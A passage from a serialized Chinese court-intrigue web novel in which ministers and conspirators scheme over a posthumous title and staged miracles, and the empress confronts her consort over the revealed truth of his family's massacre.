裴丰羽抬手在他额角轻弹,冷声道:“幼稚!家族纷争,本就如棋局博弈,自家人即便斗得头破血流,那也是内耗之争。若因外人挑拨而失了分寸,最后让他人坐收渔利,那才是真正的愚不可及!” 说罢,起身离开了内殿,一推门便见凤帝端坐凤案之后,认真批阅公文,听到殿门开启,方才寻声望来。裴丰羽愣怔片刻,旋即嘴角微勾。 裴源看不明这笑容的含义,故而开口:“皇舅笑什么?” 裴丰羽直言:“还以为陛下会在内殿布置探声密口。” 裴源眉头微挑:“用不着那么麻烦,皇宫高手如云,朕已命宫人偷偷倾听,皇舅一走,此人就会前来将二位的话一一复述禀告。” 裴丰羽:“……” 见庄与之也出了内殿,裴源收回视线,继续批复奏折,随口道:“公务繁忙,与之送皇舅出宫吧,顺便择个没人的地方,将适才没说完的家长,细细聊聊。” 裴丰羽怎听不出弦外之音,故而冷冷道:“牙尖嘴利!”说完,拂袖而去。 庄与之有些尴尬的愣在原地,原想替父亲转圜几语,却见凤帝头也没抬,只是抬手一挥:“去吧。” 第72章 第72章晋江文学城 万寿节后,凤帝的性情似比往昔愈发稳重和善。即便诸臣以沈太慈生前位分过低、恐先帝不容为由,拒绝了凤帝追封父君的旨意,她亦未流露丝毫恼怒,仅是淡淡道:“皆因神子之意,他转述东海菩萨之言。但诸位爱卿既心存顾虑,那便算了。” 司天丞匆忙跨出队伍:“陛下万万不可,想那妙善公主正因孝心感动天地,长出了千手千眼,成就了庄严宝相。可见孝感动天,伟力无岸。帝王孝心,更会福泽普照万民,既有东海菩萨点化,陛下岂能轻易作罢?” 凤帝似有些为难:“啊,这……” 刑部郎中周韵出列:“诸位大臣适才之言,未免过于轻率!沈太慈在世时,虽位分不高,然诞育圣躬,因身体孱弱而早早仙逝。古语有云:‘见面三分情。’沈太慈既无缘得见先帝,又何来情谊与位分之说?先帝育有八女,皆为龙凤之姿,然最终这至尊之位,却传到了陛下手中。依臣之见,先帝或许只是不善言表,羞于表达,说不定这最爱之人,正是沈太慈。” 殿中一时嘈杂,甚至伴有讥笑之声。户部尚书东凝云懒懒开口:“周郎中此番见解倒也有趣,却也幼稚,若先帝最爱之人是那沈太慈,又怎忍心不在他死后追封?未免说不过吗!” 吏部侍郎周从南闻言,笑着开口:“先帝生前最宠爱之人乃淑贵君,也就是现在的淑太慈,但那又如何?还不是留下懿旨,命新帝登基之初,便出发西川养老。此事又说的过去吗?” 东凝云冷哼一声,眉目间透出几分不屑:“我不过与令爱稍作辩驳,您便如此急切。可见,面对心爱之人受委屈,忍不住挺身而出是人之常情。先帝亦是凡人,若昔日那沈太慈果真深得圣眷,又怎会遭先帝冷落?” 周从南淡淡道:“后君是否得恩宠,乃是先帝家事,臣本不知,亦不想知。臣只知,先帝与我等最大不同,便是行事素来深不可测。她越厌烦之人,地位越是尊崇;她最宠爱之人,如今却连在京养老都成奢望。是有悖常理,还是先帝为保护心爱之人的手段?先帝仙逝后,竟与一副空棺一同下葬。而今,又有东海菩萨之言。东海菩萨闲来传达此事,究竟有何深意?恕臣大胆揣测,是否有可能,是先帝请东海菩萨代为转达呢?” 殿中一片寂静,忽闻有人冷冷道:“亦是怪哉,先帝若有此意,留下懿旨或是早早托梦,臣为大晟之臣,自当完成先帝遗命。偏要等到菩萨显化之后,请东海菩萨出面?万幸有位神子代为转达,否则我等岂非成了罪人?” 太仆寺卿西门初然朗声道:“菩萨显化,为神子点迷津,开灵窍,这皆是诸臣亲眼所见。如今钱大人之言,难不成是要诬陷神子说谎不成?” 钱千雁冷笑道:“是否说谎臣不得而知,臣就是怕啊,若是往后这神子动不动就冒出来以菩萨之名,指点江山。那这天下之主,到底是凤帝啊,还是神子啊?” 西门初然脸色一变。 桑雅可出列道:“钱大人所言即是,依臣之见,这神子超脱天地外,又何必干涉凡尘事?就应该端坐高台,日夜为我朝祈福做法即可。这朝政之事,还是少干涉为妙。” 聂秀慧附和:“桑大人此言正是臣心中所想,这凡尘俗世,浊气太重。神子难得被菩萨点化,万一在俗世待的久了,灵气再被浊污,岂不客气。呵呵。” 此言在殿中引来一片附和,凤帝似觉有利,点头开口:“好了,朕都说了,若诸位爱卿既心存顾虑,那便算了,你们又何必争吵?既然诸臣有异,从此,神子只负责祈福一事即可。” 凤帝的态度格外和缓从容,仿佛压根未将诸臣争吵放在心上,甚至随手一拂:“议下一事……” 早朝就此散去。 午时刚至,南市的酒楼已经开张,甚至有些偏僻却清幽的小店已经开始营业。 钱千雁叩门而入时,擦着头上细汗,愧疚解释:“劳诸位久候,家中琐事耽误了片刻。” 聂秀慧冷冷瞥她一眼便继续吃起了冰盏里的荔枝;桑雅可更是连头都未抬,只顾着拨弄茶杯上漂浮的茶叶。 唯有坐在末尾上的卫佳起身行了一礼,钱千雁正要落坐,立在窗前的黄裙女子忽而开口打破沉默:“以菩萨之名追封父君,众臣才说了几句,便收回了旨意?你们说她打的到底什么主意?是试探?还是本就没有这个意思?” 东凝云坐在上首,闻言,开口道:“依我之见,两者都有。小凤帝与她那父君又不亲厚,否则三年前就该追封,提及此事也不过是与淑太慈打太极罢了,今日殿上提及,一来嘛……此事成甚好,不成于她来说也没什么损失。二来,便是想看看谁站在 她的立场。” 桑雅可放下茶盏:“我到觉得此事不必放在心上。” 黄裙女子回头,一脸好奇:“淑仪夫人有何见解?” 桑雅可淡淡道:“无论是诗仙下凡,还是菩萨显化,小凤帝所求的,不过是民心而已。往后若是丰年,百姓自会归功于她与诗仙、神子的庇佑;若逢天灾,那便是奸臣邪祟扰乱朝局,她可借机铲除异己。想法很妙,只是……神迹显化这个法子,凤帝可以用,我们为何用不了?” 东凝云眉头一挑:“哦?” 桑雅可道:“如果神迹之说成了烂白菜,时日一久,百姓们自然见怪不怪,届时,谁还记得什么诗仙?什么神子?都不过凡尘俗物罢了。” 聂秀慧放了叉子擦拭着手上的水果渍:“你说的轻巧,诗仙谪凡、菩萨显化两件神迹,凤帝哪一件不是做的精妙绝伦?别的不说,就是诗仙之事,凤帝与齐翁原本态度决绝,还是诸臣哭着求着,凤帝才勉强准的。菩萨显化,那更是在诸臣眼皮子底下发生的,第二日有人提议建登仙阁,连齐翁那个老古板都未曾置喙一句。如此神迹,淑仪夫人还妄想把神迹搞成烂白菜?” 更/多内容请搜索=频道:= 桑雅可眸色一沉,冷笑道:“聂大人这两日气不顺,本夫人也可以理解。毕竟西门初然不过生了一个好儿子,便获得同聂大人同品的雅仪爵位。但纵然再怎么生气,也不必涨他人气焰,灭自己威风?百姓皆是愚民,当年不过一个鬼火之说就灭了镇北王一家,而今只要在鬼火手段上稍加提升,何愁不能愚弄万民?” 提及西门初然的爵位,聂秀慧眼角肌肉微颤,本想反驳一二,却又觉得无甚趣味。 黄裙女子抬眸冷眼扫过二人,似是拂去心头的不悦。才轻启朱唇:“万寿宴那夜,本欲借凤帝之手,除掉南阳王,以绝后患。谁料大皇子横插一手,搅乱了全盘计划。昨日,埋在大皇子府中的线人回禀,自大皇子从皇宫回府后,便命人将近期所得消息悉数整理。你们且猜猜,他究竟意欲将这些消息送往何处?” 聂秀慧微微蹙眉,沉声道:“断然不会送给凤帝吧?大皇子因先前君后之死,一直对先帝心怀怨怼,自然也对先帝钦定的凤帝极为轻蔑。两人之间,早已隔阂甚深,又怎会轻易向凤帝俯首称臣?” 东凝云却微微一笑,语气中透着几分深意:“从前或许不会,可如今局势变幻莫测。裴氏一族虽内斗不休,但若察觉到有外人在背后推波助澜,她们会不会暂时放下内斗,齐心协力对抗外敌?” 黄裙女子抬眸,目光如水,轻叹道:“裴丰羽虽为男儿身,却以一己之力,将探消息之术练至炉火纯青。此人若为凤帝所用,定如猛虎添翼,其势不可挡。” “少主所言,正是我忧心之事。”东凝云微微叹息:“凤帝初登大宝之时,原有意招揽裴丰羽,欲借其府中消息脉络为己用。可裴丰羽心高气傲,瞧不上凤帝的出身,便只将自己的儿子送入宫中,以示敷衍。凤帝虽未明言,心中却也生了芥蒂。故而,庄与之入宫也始终未得宠爱。” 桑雅可冷哼一声,语气中满是冷嘲热讽:“我当初就不同意启用毕先!裴氏一族的女子,除了前太女和宁远王之外,就少有好色的,那南阳王更是个无情无义!偏不听我的,如今倒好,南阳王没除掉,反而露了马脚,倒让裴氏一族统一了战线!” 黄裙女子蹙眉冷斥道:“事已至此,说这些还有什么用?” 室中静默良久,聂秀慧沉声道:“既如此,杀了裴丰羽便是。” 一直沉默不语的卫佳突然开口:“裴丰羽驭下之术极为高明,他手下的那些听士只听从他的号令。除去此人,固然容易,但他一手执掌的消息网就此陨落实在可惜。依我之见,不如设法让他们结不成盟,进一步加剧误会,岂不更妙?” 见众人都将视线落在自己的脸上,卫佳淡淡又道:“今日朝堂有个说法,我听来倒是颇为新鲜。周韵说,先帝最爱之人是沈太慈。” 东凝云微微眯眼,片刻后忽而笑出了声:“有意思。” 黄裙女子似也领悟了弦外之音:“沈太慈是先帝最爱之人,先帝为了保护他,从而冷落,却被先前君后察觉,故而沈氏惨遭先前君后磋磨致死!先帝为了给心爱之人报仇,从而贬黜了先前君后。” 聂秀慧闻言一笑,接着道:“若此时,再放出传闻:前太女的死与凤帝有关。那这大皇子岂不疯了?” 桑雅可似也觉得可行:“拥有常家血脉的先前君后与前太女,皆因凤帝父女而死?换作是谁,也难以冷静自持。” 几人相视一笑,似是达成了共识。唯有一人,似一直在状况外。 黄裙女子不禁看向钱千雁:“怎么,钱大人一直不说话,是有心事吗?” 突然被点名,钱千雁似回了神一般,面对几人的注视,终究是喟叹一声:“西境传来消息,有批战马无端而死,经查,是瘟疫导致。因发现太晚,如今瘟疫肆虐。” 几人届时神色一凝。 钱千雁微微蹙眉,沉声道:“此事透着几分蹊跷,我大胆猜测,恐怕是漠莽人得知西川王回京的消息,故意为之,意欲挑起战事。西境若是动荡不安,西川王自然难辞其咎。我们此前的谋划,皆是以她为明棋,借其之势,行我之谋。若她因故遭受惩处,或是被迫接旨回程,那这棋局便乱了章法。若无明子引势,暗子再精妙,不也难成大势?” 第73章 第73章晋江文学城 翌日散朝后,凤帝眉头紧蹙。 “陛下?”乌宛白不禁担忧:“您……可是还在为沈太慈追封一事烦忧?” 裴源摇摇头:“今日早朝过于顺利,朕一时竟有些不习惯。” 昔日的朝堂分为两派,凤帝一派,群臣一派;如今的朝堂也分为两派,支持凤帝的一派,否定凤帝的一派。 就像是辩论会场,屁大点事双方也要争论一番,决出个胜负。 而今日,早朝不过一个时辰便匆匆散了,裴源总感觉哪里怪怪的,可又说不上哪里怪。 乌宛白闻言一笑:“许是朝臣们想开了,都决定效忠陛下呢。” 裴源嗤笑道:“哎呦我的天,那朕可要烧高香了。” 裴源话音刚落,竟见一男子缓缓而来。 “陛下!” 裴源抬头望去,看到郭嘉安时一愣,旋即看着乌宛白笑道:“看见没,今儿太阳真打西边出来了,群臣听话,贵君竟也穿的如此素净。” 乌宛白笑而不语。 郭嘉安今日着是淡青色锦袍,眉心的红钿未曾描绘,就连香薰都未曾沾染,半束着长发立在原地,仿佛换了个人般。 闻言,径直走向裴源身侧,拉起她的手放入自己的臂弯里:“怎么?臣就不能穿的素净些?” 裴源歪头打量着他的脸,微微笑道:“贵君俊美,穿什么都好看。” 郭嘉安嘴角微扬:“母亲命人送了羊羔入宫,肉质鲜嫩,臣记得陛下爱吃烤羊排,故而命人早早备下了炭火,这个时候火候最好。陛下可赏脸吗?” “烤羊排?” 不争气的口水溢出,裴源点头道:“好。” 郭嘉安笑容更为明艳:“走!” 队伍直奔东六宫,跨入宫门门槛,一抹淡雅身影步履匆匆,差点与裴源撞了个满怀,还是郭嘉安眼疾手快,一伸手便将来人推着后退的几步:“哪个宫的!没长眼吗?” 那人泪眼婆娑,似已悲伤不能自己,所以一路疾行没头没尾,被郭嘉安一掌推退了几步踉跄,最后狼狈的跌坐在地,后看清了队伍来人,急忙起身跪地:“奴才悲痛欲绝,故而疾行未看清前路,还差点冲撞了陛下与贵君,还望陛下与贵君恕罪。” 郭嘉安一下子就认出了来人,冷眼打量他道:“耿公子聪慧无比,最会化解难题了,太慈回京那日,本宫也算有所见识,这世间竟有令你悲痛欲绝之事?” 耿文耀闻言哽咽叩首道:“太慈入京那日,奴才的确曾向太慈与西川王献计,行了对陛下不利之举。奴才罪孽深重,实在罪该万死!” 此言一落,帝君二人皆是一愣,郭嘉安下意识地扫视四周的宫人,旋即轻笑一声,语气中带着几分戏谑:“你是疯了吗?大庭广众之下,竟说出这般话来。可曾想过回去后,该如何面对太慈?”” 耿文耀泣不成声:“太慈欲将奴才……”他泪湿满颊,终究未曾言明,只继续道:“他既不仁,奴才如今也没什么好怕的了。” “奴才知陛下因何事烦忧,故而步履匆匆,想献计于陛下。却不料冲撞了陛下。”说着,他从袖口取出一册卷轴,双手奉上:“奴才只想求一线生机,若陛下觉得可用,奴才求陛下能留奴才在身边,做个小小宫侍也好。” 裴源不语,到是郭嘉安冷笑一声:“若陛下今日不留你,你就 准备一头撞死在这里,是也不是?” 耿文耀声音哽咽,带着一丝决绝:“奴才自知此举冒犯,也知此举唐突,但奴才真的已无退路。只能求陛下、贵君垂怜!” 说着,他又重重叩首,磕得脚下青砖都是一颤。 裴源无端觉得额头疼,却也未有相扶之意,只漠然抬步从耿文耀的身边路过。郭嘉安则是对乌宛白使了个眼色,而后屈身从耿文耀手里拿起卷轴,几步追上了凤帝,卷轴随着打开,他草草看过后,对裴源道:“向陛下献计,如何追封父君。陛下要看看吗?” 裴源摇头:“追封一事急不得,朕更好奇他今日闹的哪一出?” 郭嘉安将卷轴卷了揣入袖口,拉起裴源的手直接跨入了揽月阁:“乌尚宫已去打探了,相信很快就有结果。” 羊排烤的正是火候,一口下去焦香四溢。 郭嘉安余光瞧着女子眼眸都亮了几分,更为殷勤的将肉剔成小块,方便她下口:“陛下不是贪杯之人,否则再饮几口酒,吃饱了、喝醉了,迷迷糊糊的睡下,在叫几个美男在旁打扇,那才惬意。” 裴源豪饮了一大杯凉茶,也很痛快:“你这叫狐媚惑主,被朝臣知道是要参你的。” 郭嘉安耸耸肩:“参就参喽,臣又不能少块肉。” 裴源闻言一笑,忽闻车轮的窸窣声,她抬头望过去,竟然是陆长行推着温阳泽缓缓而来。 温阳泽笑道:“小羊羔的肉最是鲜嫩,臣本与君后下棋,却被这焦香勾出了馋虫,故而不请自来,宸贵君不会不欢迎吧?” 郭嘉安见乌宛白行至两人身后,似明白了什么,起身行礼后一挥手,柴平便带着一众宫侍退下了。 陆长行自觉坐在了裴源的另一侧,端起水壶为她泡了盏菊花茶,放在她手边:“羊肉温热,若要解腻,配菊花茶最相宜。” 郭嘉安则倒了杯凉茶放在裴源手边,淡淡道:“既然温热,饮凉茶最好不过。” 裴源:“……” 裴源摸了摸鼻子,只得看向面前的凰贵君问:“发生什么事了?” 温阳泽斜倚在轮椅的扶手上,眼眸微抬,本欲瞧瞧裴源究竟会选择哪一杯茶,却见凤帝的目光落在自己身上。他挑了挑眉,露出一副怅然若失的模样,才从袖口里缓缓抽出一页文书,递给凤帝道:“西境传来急报,一批战马无端而死,经查明,瘟疫所致。” 裴源眉宇间微蹙,接过文书匆匆扫过,原本的好心情瞬间烟消云散,取而代之的是一股烦闷:“怪不得那几人,今日竟这般规矩。” 温阳泽微微颔首,整理着袖口,语气淡然道:“此事突然,自然是能拖延一时是一时。” 乌宛白此时也颔首道:“奴婢刚刚去探听了消息,西川王似乎在昨日便收到了急报,与幕僚商议通宵后,认为战役尚未爆发,倒不如先示好讲和,所以决定上书请陛下赐予耿文耀一个皇子的身份,送他去漠莽和亲。” 裴源翻了个白眼:“呵!” 郭嘉安面上露出一副恍然大悟之色:“难怪耿文耀行事如此冒失。漠莽之地,常年干旱缺水,听闻那里的人一生之中也难得洗几次澡。那漠莽王更是膀大腰圆,面容奇丑,且脾气暴躁,别说耿文耀,怕是寻常男子也难以接受。” 温阳泽看向裴源,轻声问道:“陛下以为如何?” 裴源冷哼一声,随手拿起筷子,继续夹起一块烤肉送入口中,不屑道:“朕昔日能将漠莽打得俯首称臣,如今又怎甘做出和亲这种示弱之举?不过是想让朕善心大发,将耿文耀留在枕畔,等他日日吹枕头风罢了!” 陆长行点了点头:“西川王定会百般推诿,不愿回返西境。若战事骤起,她必会以路途遥远、援兵难及为由,‘建议’陛下从柳州调兵前往镇压。然而,此事终究因她看管不力而起,为了能让陛下不至于罚她太重,她定会绞尽脑汁,设法弄出些功劳来。如此一来,功过相抵,战事由他人去拼杀,她却能稳稳留在京城。” 温阳泽道:“西川王远在西境三年,但这京城的事却没少掺和,如今竟还幻想回京争上一争,她凭仗的到底是什么?” “皇舅前日说:毕先是西川王的人,但御宴楼却非西川王的产业。”裴源想了想道:“到底是西川王有所凭仗,还是西川王不过是颗放在明面上的棋子,还未可知呢。” 陆长行的柳叶眸微微凝实,他轻抚着手腕上的玉镯,语气淡然却透着几分锐利:“南边洪灾,南阳王首当其冲;皇陵血祭,裴若淑命丧黄泉;榷场幕后,实为大皇子殿下暗中操盘;西川王如今又横空出世……细细思量,幕后之人以朝臣为棋,将裴氏宗亲尽数牵连其中。众人皆在不知情中,不约而同向陛下发难。裴氏族人内斗,必有坐收渔翁之利者。然则,这利是什么?那幕后之人又该是谁?” 温阳泽微微蹙眉,沉吟片刻,缓缓开口:“鹬蚌相争,渔翁得利。鹬蚌者,乃皇室众人彼此消耗;利者,凤位也。若这渔翁并非皇室中人,那便是能在乱局中拨乱反正、掌控乾坤之辈。” 郭嘉安在一旁冷冷道:“拨乱反正,靠口舌无用,需有兵力。”他顿了顿,继续说道:“唯有手中握有重兵,方能掌控乾坤。” 陆长行喃喃道:“此人能暗中调度多位臣子听‘他’之命;还十分了解每个皇室宗亲的能力与欲望并加以利用;手上还有兵力调遣?”他蹙眉沉思,声音低沉而有力:“这朝堂之上,当真有这号人物?” 三人议论火热时,裴源却默默抬眸看向了乌宛白。 乌宛白原以为凤帝有事吩咐,可静静等了几息,忽而背脊一寒,扑通一声跪地叩首:“陛下明鉴,奴婢可没这样的能耐。” 裴源:“……” “谁说你了!”裴源捂着绞痛的肚子满脸涨红,气急而起:“朕要如厕啊!” 凤帝步履匆匆,凰贵君看着紧随其后的乌宛白,摸摸下巴:“从前没有,现在有了。” 第74章 第74章晋江文学城 烤羊排虽说美味,但吃惯了精细食的凤帝,竟闹起了肚子。 看着陆长行手里黑黢黢的汤药,裴源下意识推的远远的:“人食五谷,偶尔患疾也是常情。所以生病就是排毒,这药朕就不吃了,睡一觉就好了。” 郭嘉安听着有道理,坐在榻上道:“好,那臣陪您。” 凤帝未有言语,似作默认。陆长行见势,颔首放下手中的药盏躬身一礼:“栖梧宫还有事务,臣先行告退,愿陛下早日康复。” 说罢,躬身退去。 跨出紫宸殿时,昔日恭守在殿门的乌宛白不知去向,陆长行看了眼计安,温声叮嘱:“你师父不在,你要多留心,若陛下始终不见好转,不能由着她,定要劝她饮些药物。” 自午凰贵君突发恶疾,凤帝知晓后担忧不已,却又帮不上忙,只能将身边处事妥帖的总管尚宫安排去了如华宫伺候。 师父的归期未定,素来只是打下手的计安被委以重任。 听了君后的嘱咐,计安急忙颔首应是,但内心不免恐慌:“就怕奴婢人微言轻,劝不住陛下。” 陆长行颔首扯了扯广袖上的褶子,低声道:“陛下不过是闹孩子脾气,晚点尝够了苦头,恐会碍于情面硬撑。这个时候你去送一节梯子,说的她心里熨帖些,她自会乖乖喝药的。” 计安恍然,躬身道:“奴婢谢君后提点。” 彼时,紫宸殿内传出郭嘉安的朗朗笑声,陆 长行微微侧身,柳叶眸顺着窗棂缝隙淡淡瞥了眼男子,而后,漠然而去。 虽是君后的宫殿,可除了朝会,栖梧宫称不上热闹,但今日,栖梧宫竟迎来了一位不速之客。 陆长行看着跪在宫门口的耿文耀,漠然道:“耿公子这是何意?” 耿文耀叩首道:“奴才断了自己的后路,寿安宫回不去了,陛下亦嫌恶奴才,奴才只能求君后垂怜。” 陆长行走下步撵:“本宫与陛下一心,公子即知陛下厌恶你,便该明白本宫也容不下你。” 他边走边道,漠视耿文耀的跪叩,正要跨入宫门时,却见耿文耀从袖口取出一个锦盒双手奉上:“君后不妨看看此物,再下决断。” 陆长行依旧目视前方,不过刚抬起的步子却缓缓收回,温康见势,忙躬身从耿文耀的手里接过奉到君后的面前。 随着锦盒慢慢打开,一枚黄玉的云雀衔珠玉佩出现在眼前。一瞬间,陆长行只觉得的呼吸凝滞,目光死死地盯住那枚玉佩,如同定格一般。良久,他不可置信地伸出手,指尖颤抖着将玉佩拿起,再确认过玉佩的纹路与雕工后,方才垂眸将视线落在耿文耀的身上,眸中虽波澜暗涌,却未有半分声色泄露。 似察觉到陆长行的注视,耿文耀淡淡道:“奴才意外得到此物,自也清楚此物背后的故事,若是君后想听,奴才可愿意单独讲予君后听。” 陆长行并未言语,只默默将玉佩牢牢攥在掌心,漠然跨入了宫门。 耿文耀未做迟疑,起身尾随君后,一路颔首前行,终迈进了栖梧宫中。 温康一拂手,带走了殿内侍奉的宫人,随着宫门一声紧闭,陆长行方才冷冷看着男子,沉道:“说吧。” 耿文耀低着头,陆长行虽看不清他的眉眼,却能感受到此时的他,仿佛掌握了主动权的主人,缓缓道:“奴才回京前,有人将此物送予奴才,此人还说,若是奴才在宫中得罪了贵人,可凭此物求到君后面前,君后必能救奴才一命。” 陆长行眸色微沉:“本宫的耐心不是很好,公子若以为拿一件家姐的旧物,就可以在本宫面前装腔造势,那未免打错了算盘。” “君后息怒。”耿文耀微微颔首,语气恭敬而沉稳:“奴才如今自身难保,又怎敢在君后面前装腔作势?不过是奴才幼时便听闻了镇北王的英豪事迹,心生敬仰。然则,如此英豪竟惨遭奸佞构陷而死,奴才不仅愤懑难平。如今奴才偶然得此物,又知晓其来历,才惊觉君后或许一直被蒙在鼓中,奴才为君后觉得不值。” 陆长行眉心微蹙,随即舒展,只是轻轻颔首,指尖摩挲着腕上的银镯,沉默不语。 耿文耀偷偷抬眸瞥他一眼,以为君后有了几分兴致,便缓缓又道:“陛下未登基前,君后便一直陪伴在陛下左右,想必看得清楚。敢问君后,先帝待陛下如何?” 柳叶眸微微抬起,冷冷落在男子的脸上。 耿文耀似有所觉,甫一抬眸,与君后视线相对,这才察觉男子眸光凌厉,透着隐隐不耐,似已忍耐到了极点。 耿文耀只觉后脊一寒,再不多言其他,当即跪地直禀:“给奴才玉佩之人是个女子,她说自己是陆府的旧人。” 陆长行追问:“她叫什么?” 耿文耀道:“此女姓文名乐,军械案前曾奉灵韵世女之命外出,虽然侥幸存活下来,却也成了朝廷侵犯,即便多年来东躲西藏,可也一直没放弃追查镇北王军械案的真相。” 文乐? 她是长姐身边的近卫,因武力超绝,深得母卿器重,待她如养女一般。 当年那场军械案,陆家人无一幸免,皆遭砍首;府中所有亲随、亲卫亦未能逃脱厄运,尽皆罹难。 那一幕,陆长行未曾亲眼得见,只知那日的刑场,血流成河。 多年过去,自镇北王府倾覆以来,陆长行从未再听闻府中旧人的消息。所以这个名字乍然入耳,他只觉心头一震,仿佛平静的湖面被从湖底搅动,刹那间波澜起伏,难以平静。 良久,方才沉声道:“她为什么会找到你?” 耿文耀是淑太君的父家人,而西川王与陛下同为王卿时,便已剑拔弩张,如今回京,自也不会安分。自己身为凤帝的君后,文乐却选择将信物交给耿文耀,这与交给自己的对手有何区别? 耿文耀一字一句道:“因为,她找到了陆家灭门的真相。” 陆长行愣怔良久,内心刚刚涌起的骇浪渐渐凝结成冰,那寒意从心底蔓延至四肢百骸,冻得他几乎动弹不得。 耿文耀言及此,抬眸凝视着陆长行,反问:“君后可还记得,幼时教您马术、教您功夫的游修师父?” 游修? 陆长行静静地看着耿文耀,眸色愈发深邃,似要将记忆中的那张脸与眼前的面孔重合。他不可置信地摇头,然而真相却如破茧之蝶,从他口中缓缓溢出:“……游经亘?” 耿文耀瞬间泪盈于睫,他来不及擦拭,反而重重叩首,贴着地面,哽咽道:“暌违多年,经亘携陆氏所有苟活余孽之名,向世子叩安。” *** 肠胃绞痛了半日,裴源终捱不住,饮下了一盏汤药,卧榻休息时,栖梧宫的解安得命缓步走入了内殿。 “奴才给陛下请安。” 凤帝本就冷白的肤色,此刻看上去更加青白,她无力的偏过头打量一番解安:“听闻你被君后罚了去佛堂跪经?” 解安颔首道:“回陛下的话,奴才跪经数日,心性渐稳,故而被君后召回伺候。” 裴源点头:“吃了教训就好,往后好好在君后旁伺候,勿要再惹君后生气。” 见解安点头应是,裴源追问:“这么晚了,君后叫你过来是有什么事吗?” 解安道:“君后说:他与一宫侍相聊甚欢,高兴之余,便封了那宫侍……”解安小心翼翼的看着裴源,声音也越说越小:“卿君的位分,赐凝露殿。” 裴源愣了愣,良久,才不可置信的发出了一句疑问:“……啊?谁啊?” 解安紧张的咽了咽口水,低声回:“奴才只知那卿君姓耿,从前在太慈身边伺候。” 耿文耀? 裴源眨了眨眼,忽而从床上坐起,起势太猛,甚至眼前一片花白,她缓了半晌,才再次看向解安:“朕是不是虚脱到幻听了?你把刚刚的那番话再说一次!” 解安急忙抬手擦去了额头上的汗珠,颔首又将刚刚的话,复述了一遍。 裴源这次听的真切,所以,愣怔在那良久,才不满道:“这些男人都在搞什么?” 解安:“……” 裴源又问:“他就没说个缘由?” 解安将头埋的很低:“君后说:陛下说过,君后是后宫之主,如何料理后君陛下不会干涉,过后告知陛下一句就行了。所以……便差奴才过来知会一声。” 裴源:“……” 裴源气急:“料理的意思是:让他料理掉,他怎么还往朕的后宫塞人?这到底谁的后宫啊!简直岂有此理!你回去,将你家主子叫过来!朕要亲自问问他!” 解安躬着的身子又弯了一些:“君后说:他说了一下午的话,有些累了,若陛下有请,恐要等到明日了。” 裴源拍床而起:“他放肆!” 帝王一怒,宫人纷纷跪地,解安亦在其列,见殿内沉寂良久,他再次开口打破沉默:“君后说……” 刚一开口,便被裴源冷声打断:“他还敢说?”她说着,起身疾步冲出殿外:“如此想说,朕就亲自过去,让他当着朕的面亲自说!” 栖梧宫的烛火已熄,唯有户对下的宫灯透过窗棂,将寝殿映照的影影绰绰,所以裴源一入内殿,便看到了方台上侧倚发呆的陆长行,他似乎满腹心事,任发丝凌乱,也不做整理。甚至在看到裴源身影后,出现了短暂的愣怔,方才收敛心事,并未曾起身行礼,只是端起茶杯淡淡问道:“这么晚了,陛下登门有事?” 裴源嘟囔道:“你还知道我是陛下?我还以为你要造反,自立为帝呢!” 说话间,人已经跨上了方 才,习惯性的扯了一张凭几侧倚,不满质问:“耿文耀怎么回事?” 陆长行慢条斯理的啜饮了一口凉茶,方才回道:“陛下不是说过:陛下会替她好好照顾臣,从今往后,但凡臣有所求,只要合乎情理,陛下皆会应允。” 裴源蹙眉道:“我是说过,可……你觉得让耿文耀入宫这事,它合乎情理吗?” 陆长行颔首凝着茶杯,淡淡道:“凰贵君都能向陛下讨要恩典,准李宣入宫;那臣与耿文耀想聊甚欢,为他讨要一个卿君的位置,似也并不过分。” 裴源:“……” 昏暗的光线里,帝后二人相对而坐,可彼此间却无一次视线交汇,一个低头看着杯中水,一个侧头望着漫天星辰,除了风偶尔的涌入撩起两人的发丝,殿内死寂静止的,仿佛是一张挂在墙上的画卷。 良久,凤帝的冷笑声打破沉默,女子轻言道:“她欠你的,却要我来偿还,当真是不公平。” 陆长行抬眸,凝视着她的脸:“就因为她喜爱臣,让臣成了她的软肋,这可笑的理由竟成了陆家几百人丧命的罪魁。先帝设下圈套,将陆家推入被构陷的深渊,臣实在难以理解,这世间怎会有如此荒诞之事?” 裴源的眼角微微抽动,拇指用力地抠着食指指腹,仿佛要将那股心头的钝痛硬生生压下去。 陆长行微微一顿,声线愈发低沉,仿若从胸腔深处涌出:“那夜,在暗室里,目睹她查明的真相,臣心痛之余,亦知非她之过。事已至此,臣本欲安分守己,做个称职的君后,替她护住后宫的安宁。可今日,臣忽然觉得,有些事,终究放不下。臣的家人皆是枉死,臣可替她们宽恕先帝,接纳陛下;可陆家上下那几百口亲随呢?她们无错,甚至为先帝开疆拓土,立下汗马功劳,为何落得如此下场?她们死得不明不白,后代亦跟着蒙羞。甚至不得不离开故土求生,这又公平吗?” 裴源转头看他,凤眸微眯:“看来耿文耀是陆家亲随之后了?” 陆长行收回视线,并未作答。 裴源沉默数息,终是开口:“镇北王之死,确因那荒唐缘由而起。然以朕为帝多日之见,这个缘由不过先帝说服自己的说辞罢了。” 她见陆长行抬眸望来,目光微微一闪,淡淡续道:“镇北王凭战功挣得卿王之位,固然令人敬重;但她手握偌大北境,统率数十万精兵,而这些精兵又只忠于她一身。如此英豪,无论换作谁坐于凤位,也难免会在深夜惊恐的辗转难眠。即便,她曾是帝王之友,勤王之将。” 她稍稍停顿,又道:“如果耿文耀真是陆家亲随之后,还一步一步走到了你的面前;那么,相信还有更多的亲随之后在暗地里蛰伏。那么这些时日朝堂频起风波,应该也与她们脱不了干系。后辈尚且如此隐忍、善于谋算,可见,那些亲随的能力几何。你是聪明人,也该明白,这样的一群人,没人能够容得下。” 见陆长行颔首不语,裴源轻叹一声,明明近在眼前,却仿佛悠远无边:“知晓真相后,我常不知该如何面对你,恰似她知晓真相后,亦不知该如何面对你。我选择告诉你,是不忍看你苦寻真相而不得;她选择隐瞒你,是恐你知晓后会离她而去。如今你我这般尴尬不已,我也实在痛苦。你若想离开,我放你出宫,从此,我们就不要再见了。” 第75章 第75章晋江文学城 那夜之后,君后染上痘疫,栖梧宫自此深闭宫门,再无人涉足。 凤帝闻讯,默然伫立良久,须臾之间,胸襟前竟渐渐被鲜血浸透。计安面色大变:“陛下,您流鼻血了。” 裴源抬手拭了拭鼻端,鲜血顺着指尖缓缓滴落,掌心被染得一片殷红,刺目惊心。刹那间,凤帝直挺挺地晕厥过去。 宸贵君连夜彻查,最终在新封的耿卿君宫中搜出了毒药。面对铁证如山,耿文耀毫无辩解之意,反而笑得坦然自若。 